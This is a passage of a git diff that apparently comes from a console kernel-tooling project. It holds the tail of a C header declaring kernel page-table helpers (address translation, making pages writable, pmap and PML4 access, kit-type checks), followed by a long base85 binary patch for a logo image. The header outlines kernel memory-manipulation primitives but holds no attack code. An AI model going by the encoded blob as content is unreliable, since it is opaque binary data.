pmap_pte_index(va) ((va >> 12) & 0x1FF) + +uint64_t va_to_pa_user(uint64_t va); +uint64_t va_to_pa_kernel(uint64_t va); +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); +uint64_t pa_to_dmap(uint64_t pa); +void page_chain_set_rw(uint64_t va); +uint64_t page_remove_global(uint64_t va); + +uint64_t getpmap(uint64_t proc_ptr); +uint64_t get_pml4(uint64_t pmap); + +int pin_to_core(int n); +int pin_to_first_available_core(void); +void unpin(void); +void notify(const char *fmt, ...); +void notify_internal(uint8_t *msg); +void enter_rest_mode(void); + +#if DEBUG +#define DEBUG_PRINT(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#define DEBUG_PRINT(fmt, ...) +#endif + +bool if_exists(const char *path); +bool sceKernelIsTestKit(void); +bool sceKernelIsDevKit(void); + +enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT }; + +enum kit_type get_kit_type(void); + +#endif diff --git a/logo.webp b/logo.webp index f61c3fed0d5725f0c2086014e0dc36e03ac4a570..8fb7b199f2f335563019a1546607d72107076896 100644 GIT binary patch delta 13794 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 delta 17684 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 